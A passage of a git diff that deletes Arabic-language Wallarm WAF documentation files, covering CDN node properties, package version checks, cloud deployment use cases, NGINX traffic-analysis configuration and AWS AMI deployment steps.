لـ `example.com`. - -بالنسبة للخصائص الأخرى لعقدة Wallarm CDN: - -* تستضاف بواسطة مزود خدمة السحاب الخارجي (Section.io)، لذا لا تحتاج إلى موارد من بنيتك التحتية لنشر عقدة CDN. - - !!! info "تحميل بيانات الطلب إلى مزود السحابة الخارجي" - يتم تحميل بعض البيانات حول الطلبات المعالجة إلى خدمة Lumen. -* يحمل بعض بيانات الطلب إلى سحابة Wallarm. [تعرّف على المزيد حول البيانات المحملة وقطع البيانات الحساسة][data-to-wallarm-cloud-docs] -* [يعمل][operation-modes-docs] في وضع **الحظر الآمن** معتمدًا على محتويات [القائمة الرمادية لعناوين IP][graylist-populating-docs] لتحديد حركة المرور المشكوك فيها وحظرها. - - لتغيير الوضع، استخدم ال[قاعدة][operation-mode-rule-docs] المقابلة. -* يتم تهيئة عقدة CDN بالكامل عبر واجهة مستخدم وحدة تحكم Wallarm. الإعداد الوحيد الذي يتعين تغييره بطريقة أخرى هو إضافة سجل CNAME الخاص بـ Wallarm إلى سجلات DNS للمورد المحمي. -* يمكنك طلب فريق دعم [Wallarm](mailto:support@wallarm.com) لتنفيذ [تهيئة التطبيق][link-app-conf] لعقدتك. \ No newline at end of file diff --git a/include-ar/waf/installation/checking-compatibility-of-separate-postanalytics-and-primary-packages.md b/include-ar/waf/installation/checking-compatibility-of-separate-postanalytics-and-primary-packages.md deleted file mode 100644 index f4d94e0ae6..0000000000 --- a/include-ar/waf/installation/checking-compatibility-of-separate-postanalytics-and-primary-packages.md +++ /dev/null @@ -1,40 +0,0 @@ -!!! info "نسخة حزمة `wallarm-node-tarantool`" - يجب أن تكون نسخة حزمة `wallarm-node-tarantool` متطابقة أو أحدث من حزم وحدات NGINX-Wallarm الأساسية المثبتة على خادم منفصل. - - للتحقق من النسخ: - - === "Debian" - ```bash - # نفذ من الخادم الذي يحتوي على وحدة NGINX-Wallarm الأساسية - apt list wallarm-node-nginx - # نفذ من الخادم الذي يحتوي على وحدة التحليلات اللاحقة - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # نفذ من الخادم الذي يحتوي على وحدة NGINX-Wallarm الأساسية - apt list wallarm-node-nginx - # نفذ من الخادم الذي يحتوي على وحدة التحليلات اللاحقة - apt list wallarm-node-tarantool - ``` - === "CentOS أو Amazon Linux 2.0.2021x وما دون" - ```bash - # نفذ من الخادم الذي يحتوي على وحدة NGINX-Wallarm الأساسية - yum list wallarm-node-nginx - # نفذ من الخادم الذي يحتوي على وحدة التحليلات اللاحقة - yum list wallarm-node-tarantool - ``` - === "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - # نفذ من الخادم الذي يحتوي على وحدة NGINX-Wallarm الأساسية - yum list wallarm-node-nginx - # نفذ من الخادم الذي يحتوي على وحدة التحليلات اللاحقة - yum list wallarm-node-tarantool - ``` - === "RHEL 8.x" - ```bash - # نفذ من الخادم الذي يحتوي على وحدة NGINX-Wallarm الأساسية - yum list wallarm-node-nginx - # نفذ من الخادم الذي يحتوي على وحدة التحليلات اللاحقة - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md b/include-ar/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md deleted file mode 100644 index 2fcbeacaeb..0000000000 --- a/include-ar/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -من بين جميع خيارات النشر المدعومة لـ[Wallarm][platform]، يوصى بنشر Wallarm على Alibaba Cloud ECS باستخدام صورة Docker في هذه **حالات الاستخدام**: - -* إذا كانت تطبيقاتك تستخدم هندسة ميكروسيرفس،وكانت محاوِرة وتعمل بالفعل على Alibaba Cloud ECS. -* إذا كنت بحاجة إلى التحكم الدقيق في كل حاوية، فإن صورة Docker تتفوق. فهي توفر مستوى أعلى من عزل الموارد مما يمكن تحقيقه عادةً مع النشرات القائمة على الآلات الافتراضية التقليدية. \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/ami-use-cases.md b/include-ar/waf/installation/cloud-platforms/ami-use-cases.md deleted file mode 100644 index 26f63b94a2..0000000000 --- a/include-ar/waf/installation/cloud-platforms/ami-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -من بين جميع [خيارات نشر Wallarm][deployment-platform-docs] المدعومة، يُوصى باستخدام AMI لنشر Wallarm في هذه **حالات الاستخدام**: - -* تتواجد بنيتك التحتية الحالية على AWS. -* تهدف إلى نشر حل أمان كمثال سحابي منفصل، بدلاً من تثبيته مباشرةً على أنظمة الواجهة الأمامية مثل NGINX. \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/article-for-inline-oob-ami-4.8.md b/include-ar/waf/installation/cloud-platforms/article-for-inline-oob-ami-4.8.md deleted file mode 100644 index 223f0ead1f..0000000000 --- a/include-ar/waf/installation/cloud-platforms/article-for-inline-oob-ami-4.8.md +++ /dev/null @@ -1,29 +0,0 @@ -# تثبيت Wallarm من خلال صورة آلة أمازون - -توفر هذه المقالة تعليمات لتثبيت Wallarm على AWS باستخدام [صورة أمازون الرسمية للآلة (AMI)](https://aws.amazon.com/marketplace/pp/B073VRFXSD). يمكن تثبيت الحل إما [داخل الشبكة][inline-docs] أو [خارج الشبكة][oob-docs]. - -## حالات الاستخدام - ---8<-- "../include/waf/installation/cloud-platforms/ami-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md" - -## 6. تمكين Wallarm لتحليل الحركة - ---8<-- "../include/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md" - -## 7. إعادة تشغيل NGINX - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" - -## 8. تكوين إرسال الحركة إلى نموذج Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 9. اختبار تشغيل Wallarm - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 10. ضبط الحل المثبت بدقة - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options-4.8.md" \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/article-for-inline-oob-ami.md b/include-ar/waf/installation/cloud-platforms/article-for-inline-oob-ami.md deleted file mode 100644 index 18fe732270..0000000000 --- a/include-ar/waf/installation/cloud-platforms/article-for-inline-oob-ami.md +++ /dev/null @@ -1,29 +0,0 @@ -# نشر Wallarm باستخدام صورة آلة أمازون - -توفر لكم هذه المقالة تعليمات لنشر Wallarm على AWS باستخدام [صورة آلة أمازون (AMI) الرسمية](https://aws.amazon.com/marketplace/pp/B073VRFXSD). يمكن نشر الحل إما [على الخط][inline-docs] أو [خارج الخط][oob-docs]. - -## حالات الاستخدام - ---8<-- "../include/waf/installation/cloud-platforms/ami-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md" - -## 6. ربط النسخة بسحابة Wallarm - ---8<-- "../include/waf/installation/connect-waf-and-cloud-for-cloud-images.md" - -## 7. تهيئة إرسال الحركة إلى نسخة Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob-latest.md" - - If your setup connects the mirroring server to the Wallarm filtering node via public subnets, you need to also specify the appropriate subnet settings in the `set_real_ip_from` and `real_ip_header` directives. If the subnet is internal, this is not needed. - -## 8. اختبار تشغيل Wallarm - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 9. ضبط الحل المنشور بدقة - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options.md" - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image-4.6.md b/include-ar/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image-4.6.md deleted file mode 100644 index f7a0d90e04..0000000000 --- a/include-ar/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image-4.6.md +++ /dev/null @@ -1,29 +0,0 @@ -# توظيف Wallarm من صورة آلة GCP - -تقدم هذه المقالة تعليمات لتوظيف Wallarm على GCP باستخدام [الصورة الآلية الرسمية](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node). يمكن توظيف الحل إما [في الخط][inline-docs] أو [خارج النطاق][oob-docs]. - -## حالات الاستخدام - ---8<-- "../include/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.6.md" - -## 5. تفعيل Wallarm لتحليل الزيارات - ---8<-- "../include/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md" - -## 6. إعادة تشغيل NGINX - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" - -## 7. تكوين إرسال الزيارات إلى نموذج Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 8. اختبار تشغيل Wallarm - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 9. تعديل تهيئة الحل الموظف - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options-4.8.md" \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image-4.8.md b/include-ar/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image-4.8.md deleted file mode 100644 index ed708a4142..0000000000 --- a/include-ar/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image-4.8.md +++ /dev/null @@ -1,29 +0,0 @@ -# تنصيب Wallarm من صورة آلة GCP - -توفر هذه المقالة تعليمات لتنصيب Wallarm على GCP باستخدام [الصورة الرسمية للآلة](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node). يمكن نشر الحل إما [ضمن الشبكة][inline-docs] أو [خارج النطاق][oob-docs]. - -## حالات الاستخدام - ---8<-- "../include/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.8.md" - -## 5. تمكين Wallarm لتحليل الحركة - ---8<-- "../include/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md" - -## 6. إعادة تشغيل NGINX - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" - -## 7. تهيئة إرسال الحركة إلى نموذج Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 8. اختبار تشغيل Wallarm - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 9. تعديل دقيق للحل المنصب - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options-4.8.md" \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md b/include-ar/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md deleted file mode 100644 index 5f421192b8..0000000000 --- a/include-ar/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md +++ /dev/null @@ -1,27 +0,0 @@ -# تنصيب Wallarm من صورة الآلة في GCP - -توفر هذه المقالة تعليمات لتنصيب Wallarm على GCP باستخدام [الصورة الرسمية للآلة](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node). يمكن تنصيب الحل [مباشرة][inline-docs] أو [خارج النطاق][oob-docs]. - -## حالات الاستخدام - ---8<-- "../include/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md" - -## 5. اربط النسخة بسحابة Wallarm - ---8<-- "../include/waf/installation/connect-waf-and-cloud-for-cloud-images.md" - -## 6. تهيئة إرسال المرور إلى نسخة Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob-latest.md" - -## 7. اختبر تشغيل Wallarm - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 8. ضبط الحل المنصب بدقة - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options.md" - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/aws-ecs-use-cases.md b/include-ar/waf/installation/cloud-platforms/aws-ecs-use-cases.md deleted file mode 100644 index 03b3e91a04..0000000000 --- a/include-ar/waf/installation/cloud-platforms/aws-ecs-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -من بين جميع خيارات النشر المدعومة لـ[Wallarm][platform]، يوصى بنشر Wallarm على AWS ECS باستخدام صورة Docker في هذه **حالات الاستخدام**: - -* إذا كانت تطبيقاتك تستخدم هندسة الخدمات المصغرة، وكانت محتواة بالفعل وتعمل على AWS ECS. -* إذا كنت بحاجة إلى التحكم التفصيلي بكل حاوية، تتفوق صورة Docker. إذ توفر مستوى أعلى من العزل للموارد مما هو ممكن عادةً مع نشرات الآلات الافتراضية التقليدية. \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/azure-container-instances-use-cases.md b/include-ar/waf/installation/cloud-platforms/azure-container-instances-use-cases.md deleted file mode 100644 index d10093117c..0000000000 --- a/include-ar/waf/installation/cloud-platforms/azure-container-instances-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -من بين كل خيارات النشر المدعومة من [Wallarm][platform]، يُوصى بنشر Wallarm على أساس Azure Container Instances باستخدام صورة Docker في هذه **حالات الاستخدام**: - -* إذا كانت تطبيقاتك تستخدم هندسة المايكروسيرفيسات، وهي محتواة بالفعل وتعمل على Azure Container Instances. -* إذا كنت بحاجة إلى التحكم الدقيق في كل حاوية، تتميز صورة Docker بذلك. إذ توفر مستوى أكبر من عزل الموارد مما يمكن تحقيقه عادةً مع النشر التقليدي القائم على الآلات الافتراضية. \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis-inline.md b/include-ar/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis-inline.md deleted file mode 100644 index cefd78658d..0000000000 --- a/include-ar/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis-inline.md +++ /dev/null @@ -1,32 +0,0 @@ -بشكل افتراضي، لا يقوم العقدة المُنشأة لـ Wallarm بتحليل حركة المرور الواردة. لبدء تحليل حركة المرور، قم بتكوين Wallarm لتوجيه حركة المرور عبر ملف `/etc/nginx/sites-enabled/default` على نسخة Wallarm: - -1. حدد عنوان IP لـ Wallarm لتوجيه حركة المرور المشروعة إليه. يمكن أن يكون عنوان IP لنسخة تطبيق، موزع الحمل أو اسم DNS، إلخ، بحسب هندستك. - - للقيام بذلك، قم بتعديل قيمة `proxy_pass`، على سبيل المثال يجب على Wallarm إرسال الطلبات المشروعة إلى `http://10.80.0.5`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` -1. لكي تقوم العقدة Wallarm بتحليل حركة المرور الواردة، حدد توجيه `wallarm_mode` إلى `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - وضع المراقبة هو الوضع الموصى به للتنشير الأول واختبار الحل. توفر Wallarm أوضاع حجب آمنة كذلك، [اقرأ المزيد][wallarm-mode]. \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md b/include-ar/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md deleted file mode 100644 index b46255b736..0000000000 --- a/include-ar/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md +++ /dev/null @@ -1,67 +0,0 @@ -بشكل افتراضي، العقدة المنصوبة من Wallarm لا تحلل الحركة المرورية الواردة. - -اعتمادًا على نهج نشر Wallarm المختار ([داخل الخط][inline-docs] أو [خارج النطاق][oob-docs])، قم بتهيئة Wallarm لإما توجيه الحركة المرورية أو معالجة نسخة مرآة من الحركة المرورية. - -قم بإجراء التهيئة التالية في ملف `/etc/nginx/sites-enabled/default` على نسخة Wallarm: - -=== "داخل الخط" - 1. حدد عنوان IP لـ Wallarm لتوجيه الحركة المرورية الصالحة إليه. يمكن أن يكون عنوان IP لنسخة تطبيق، أو موزع حمولة، أو اسم DNS، الخ، حسب تصميمك. - - للقيام بذلك، عدل قيمة `proxy_pass`، مثلًا يجب على Wallarm إرسال الطلبات الصالحة إلى `http://10.80.0.5`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` - 1. لكي تحلل عقدة Wallarm الحركة المرورية الواردة، اضبط التوجيه `wallarm_mode` إلى `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - وضع المراقبة هو الوضع الموصى به للنشر الأولي واختبار الحل. Wallarm يوفر أيضا وضعيات الحظر الآمن والحظر، [اقرأ المزيد][wallarm-mode]. -=== "خارج النطاق" - 1. لكي تقبل عقدة Wallarm الحركة المرورية المعكوسة، اضبط التكوين التالي في كتلة `server` لـ NGINX: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # قم بتغيير 222.222.222.22 إلى عنوان الخادم العاكس - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * التوجيهات `set_real_ip_from` و `real_ip_header` ضرورية لجعل وحدة تحكم Wallarm [تعرض عناوين IP للمهاجمين][real-ip-docs]. - * التوجيهات `wallarm_force_response_*` ضرورية لتعطيل تحليل جميع الطلبات باستثناء النسخ المتلقاة من الحركة المرورية المعكوسة. - 1. لكي تحلل عقدة Wallarm الحركة المرورية المعكوسة، اضبط التوجيه `wallarm_mode` إلى `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - بما أن الطلبات الضارة [لا يمكن][oob-advantages-limitations] حظرها، فإن الوضع الوحيد [الذي][wallarm-mode] يقبله Wallarm هو المراقبة. بالنسبة للنشر داخل الخط، هناك وضعيات حظر آمنة وحظر أيضًا ولكن حتى إذا قمت بضبط التوجيه `wallarm_mode` إلى قيمة مختلفة عن المراقبة، تواصل العقدة مراقبة الحركة المرورية وتسجل فقط الحركة المرورية الضارة (بجانب الوضع المضبوط على إيقاف). \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/fine-tuning-options-4.8.md b/include-ar/waf/installation/cloud-platforms/fine-tuning-options-4.8.md deleted file mode 100644 index d178b93842..0000000000 --- a/include-ar/waf/installation/cloud-platforms/fine-tuning-options-4.8.md +++ /dev/null @@ -1,23 +0,0 @@ -اكتملت عملية النشر الآن. قد يتطلب عقدة التصفية Wallarm بعض الإعدادات الإضافية بعد النشر. - -يتم تحديد إعدادات Wallarm باستخدام [توجيهات NGINX][wallarm-nginx-directives] أو واجهة المستخدم الخاصة بوحدة التحكم Wallarm. يجب تعيين التوجيهات في الملفات التالية على نسخة Wallarm: - -* `/etc/nginx/sites-enabled/default` يحدد تكوين NGINX -* `/etc/nginx/conf.d/wallarm.conf` يحدد التكوين العالمي لعقدة تصفية Wallarm -* `/etc/nginx/conf.d/wallarm-status.conf` يحدد تكوين خدمة مراقبة عقدة التصفية -* `/etc/default/wallarm-tarantool` أو `/etc/sysconfig/wallarm-tarantool` مع إعدادات قاعدة بيانات Tarantool - -يمكنك تعديل الملفات المذكورة أو إنشاء ملفات تكوين خاصة بك لتحديد طريقة عمل NGINX وWallarm. يُنصح بإنشاء ملف تكوين منفصل بكتلة `server` لكل مجموعة من المجالات التي يجب معالجتها بنفس الطريقة (مثل `example.com.conf`). للاطلاع على معلومات مفصلة حول العمل مع ملفات تكوين NGINX، يُرجى الانتقال إلى [الوثائق الرسمية لـ NGINX](https://nginx.org/en/docs/beginners_guide.html). - -!!! info "إنشاء ملف تكوين" - عند إنشاء ملف تكوين مخصص، تأكد من استماع NGINX إلى الاتصالات الواردة على المنفذ الخالي. - -فيما يلي بعض الإعدادات النموذجية التي يمكنك تطبيقها إذا لزم الأمر: - -* [التوسع التلقائي لعقدة Wallarm][autoscaling-docs] -* [عرض العنوان الحقيقي للعميل][real-ip-docs] -* [تخصيص الموارد لعقد Wallarm][allocate-memory-docs] -* [تحديد زمن معالجة الطلب الفردي][limiting-request-processing] -* [تحديد وقت انتظار رد الخادم](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [تحديد الحجم الأقصى للطلب](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [تسجيل عقدة Wallarm][logs-docs] \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/fine-tuning-options.md b/include-ar/waf/installation/cloud-platforms/fine-tuning-options.md deleted file mode 100644 index d178b93842..0000000000 --- a/include-ar/waf/installation/cloud-platforms/fine-tuning-options.md +++ /dev/null @@ -1,23 +0,0 @@ -اكتملت عملية النشر الآن. قد يتطلب عقدة التصفية Wallarm بعض الإعدادات الإضافية بعد النشر. - -يتم تحديد إعدادات Wallarm باستخدام [توجيهات NGINX][wallarm-nginx-directives] أو واجهة المستخدم الخاصة بوحدة التحكم Wallarm. يجب تعيين التوجيهات في الملفات التالية على نسخة Wallarm: - -* `/etc/nginx/sites-enabled/default` يحدد تكوين NGINX -* `/etc/nginx/conf.d/wallarm.conf` يحدد التكوين العالمي لعقدة تصفية Wallarm -* `/etc/nginx/conf.d/wallarm-status.conf` يحدد تكوين خدمة مراقبة عقدة التصفية -* `/etc/default/wallarm-tarantool` أو `/etc/sysconfig/wallarm-tarantool` مع إعدادات قاعدة بيانات Tarantool - -يمكنك تعديل الملفات المذكورة أو إنشاء ملفات تكوين خاصة بك لتحديد طريقة عمل NGINX وWallarm. يُنصح بإنشاء ملف تكوين منفصل بكتلة `server` لكل مجموعة من المجالات التي يجب معالجتها بنفس الطريقة (مثل `example.com.conf`). للاطلاع على معلومات مفصلة حول العمل مع ملفات تكوين NGINX، يُرجى الانتقال إلى [الوثائق الرسمية لـ NGINX](https://nginx.org/en/docs/beginners_guide.html). - -!!! info "إنشاء ملف تكوين" - عند إنشاء ملف تكوين مخصص، تأكد من استماع NGINX إلى الاتصالات الواردة على المنفذ الخالي. - -فيما يلي بعض الإعدادات النموذجية التي يمكنك تطبيقها إذا لزم الأمر: - -* [التوسع التلقائي لعقدة Wallarm][autoscaling-docs] -* [عرض العنوان الحقيقي للعميل][real-ip-docs] -* [تخصيص الموارد لعقد Wallarm][allocate-memory-docs] -* [تحديد زمن معالجة الطلب الفردي][limiting-request-processing] -* [تحديد وقت انتظار رد الخادم](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [تحديد الحجم الأقصى للطلب](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [تسجيل عقدة Wallarm][logs-docs] \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md b/include-ar/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md deleted file mode 100644 index 064745ef78..0000000000 --- a/include-ar/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -وسط كل خيارات النشر المدعومة [لوثائق منصة نشر Wallarm][deployment-platform-docs]، يُنصح باستخدام صورة آلة GCP لنشر Wallarm في حالات الاستخدام التالية: - -* بنيتك التحتية الحالية تقع على GCP. -* هدفك هو نشر حل أمان كنسخة سحابية منفصلة، بدلاً من تثبيته مباشرةً على أنظمة الواجهة الأمامية مثل NGINX. \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/google-gce-use-cases.md b/include-ar/waf/installation/cloud-platforms/google-gce-use-cases.md deleted file mode 100644 index 46c096f732..0000000000 --- a/include-ar/waf/installation/cloud-platforms/google-gce-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -فيما يتعلق بكافة [خيارات توزيع Wallarm][platform] المدعومة، يُنصح باستخدام صورة Docker لتوزيع Wallarm على Google Compute Engine (GCE) في **حالات الاستخدام** التالية: - -* إذا كانت تطبيقاتك تستخدم هندسة الخدمات المصغرة، وكانت مُحاوَلة بالفعل وتعمل على GCE. -* إذا كنت تحتاج إلى تحكم دقيق في كل حاوية، فإن صورة Docker تتميز. إذ توفر مستوى أعلى من عزل الموارد مما هو ممكن عادةً مع التوزيعات القائمة على الآلات الافتراضية التقليدية. \ No newline at end of file diff --git a/include-ar/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md b/include-ar/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md deleted file mode 100644 index 549783610f..0000000000 --- a/include-ar/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md +++ /dev/null @@ -1,98 +0,0 @@ -## المتطلبات - -* حساب AWS -* فهم لخصائص AWS EC2 ومجموعات الأمان -* أي منطقة AWS من اختيارك، لا توجد قيود محددة على المنطقة لنشر عقدة Wallarm -* الوصول للحساب بدور **المدير** والتوثيق الثنائي معطل في وحدة تحكم Wallarm لـ[السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* الوصول إلى `https://us1.api.wallarm.com:444` للعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com:444` للعمل مع سحابة Wallarm الأوروبية. إذا كان يمكن تكوين الوصول عبر خادم بروكسي فقط، استخدم [التعليمات][wallarm-api-via-proxy] -* تنفيذ جميع الأوامر على عينة Wallarm كمستخدم متفوق (مثل `root`) - -## 1. إنشاء زوج من مفاتيح SSH في AWS - -أثناء عملية النشر، ستحتاج إلى الاتصال بالجهاز الافتراضي عبر SSH. يسمح Amazon EC2 بإنشاء زوج من المفاتيح العمومية والخاصة باسم محدد يُستخدم للاتصال بالمثال. - -لإنشاء زوج المفاتيح: - -1. انتقل إلى تبويب **مفاتيح زوجية** على لوحة معلومات Amazon EC2. -2. انقر على زر **إنشاء زوج المفاتيح**. -3. أدخل اسم زوج المفاتيح وانقر على زر **إنشاء**. - -سيبدأ تحميل المفتاح الخاص بتنسيق PEM تلقائيًا. احفظ المفتاح للاتصال بالمثال المُنشأ في المستقبل. - -لرؤية معلومات مفصلة حول إنشاء مفاتيح SSH، انتقل إلى [وثائق AWS][link-ssh-keys]. - -## 2. إنشاء مجموعة أمان - -تحدد مجموعة الأمان الاتصالات الواردة والصادرة المسموح بها والممنوعة للأجهزة الافتراضية. يعتمد القائمة النهائية للاتصالات على التطبيق المحمي (مثل السماح بجميع الاتصالات الواردة إلى منافذ TCP/80 وTCP/443). - -لإنشاء مجموعة أمان لعقدة التصفية: - -1. انتقل إلى تبويب **مجموعات الأمان** على لوحة معلومات Amazon EC2 وانقر على زر **إنشاء مجموعة أمان**. -2. أدخل اسم لمجموعة الأمان ووصف اختياري في نافذة الحوار التي تظهر. -3. حدد VPC المطلوب. -4. قم بتكوين قواعد الاتصالات الواردة والصادرة على التبويبات **الوارد** و**الصادر**. -5. انقر على زر **إنشاء** لإنشاء مجموعة الأمان. - -![إنشاء مجموعة أمان][img-create-sg] - -!!! تحذير "قواعد الاتصالات الصادرة من مجموعة الأمان" - عند إنشاء مجموعة أمان، جميع الاتصالات الصادرة مسموح بها بشكل افتراضي. إذا كنت تقيد الاتصالات الصادرة من عقدة التصفية، تأكد من منحها الوصول إلى خادم API Wallarm. اختيار خادم API Wallarm يعتمد على السحابة Wallarm التي تستخدمها: - - * إذا كنت تستخدم السحابة الأمريكية، يجب أن تُمنَح عقدتك الوصول إلى `us1.api.wallarm.com`. - * إذا كنت تستخدم السحابة الأوروبية، يجب أن تُمنَح عقدتك الوصول إلى `api.wallarm.com`. - - تحتاج عقدة التصفية للوصول إلى خادم API Wallarm للعمل بشكل صحيح. - -لرؤية معلومات مفصلة حول إنشاء مجموعة أمان، انتقل إلى [وثائق AWS][link-sg]. - -## 3. إطلاق عينة عقدة Wallarm - -لإطلاق عينة بعقدة تصفية Wallarm، انتقل إلى هذا [الرابط](https://aws.amazon.com/marketplace/pp/B073VRFXSD) واشترك في عقدة التصفية. - -عند إنشاء عينة، تحتاج إلى تحديد [مجموعة الأمان التي تم إنشاؤها سابقًا][anchor1] على النحو التالي: - -1. أثناء العمل مع معالج إطلاق العينة، انتقل إلى خطوة إطلاق عينة **6. تكوين مجموعة الأمان** عبر النقر على التبويب المناسب. -2. اختر خيار **اختيار مجموعة أمان موجودة** في إعداد **تعيين مجموعة أمان**. -3. حدد مجموعة الأمان من القائمة التي تظهر. - -بعد تحديد جميع إعدادات العينة المطلوبة، انقر على زر **مراجعة وإطلاق**، تأكد من صحة تكوين العينة، وانقر على زر **إطلاق**. - -في النافذة التي تظهر، حدد [زوج المفاتيح الذي تم إنشاؤه مسبقًا][anchor2] بأداء الإجراءات التالية: - -1. في القائمة المنسدلة الأولى، حدد خيار **اختيار زوج مفاتيح موجود**. -2. في القائمة المنسدلة الثانية، حدد اسم زوج المفاتيح. -3. تأكد من الوصول إلى المفتاح الخاص بتنسيق PEM من زوج المفاتيح الذي حددته في القائمة المنسدلة الثانية واختر المربع لتأكيد ذلك. -4. انقر على زر **إطلاق العينات**. - -سيتم إطلاق العينة بعقدة التصفية المثبتة مسبقًا. - -لرؤية معلومات مفصلة حول إطلاق العينات في AWS، انتقل إلى [وثائق AWS][link-launch-instance]. - -## 4. الاتصال بعينة عقدة التصفية عبر SSH - -لرؤية معلومات مفصلة حول طرق الاتصال عبر SSH بالعينة، انتقل إلى [وثائق AWS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html). - -تحتاج إلى استخدام اسم المستخدم `admin` للاتصال بالعينة. - -!!! معلومات "استخدام المفتاح للاتصال عبر SSH" - استخدم المفتاح الخاص 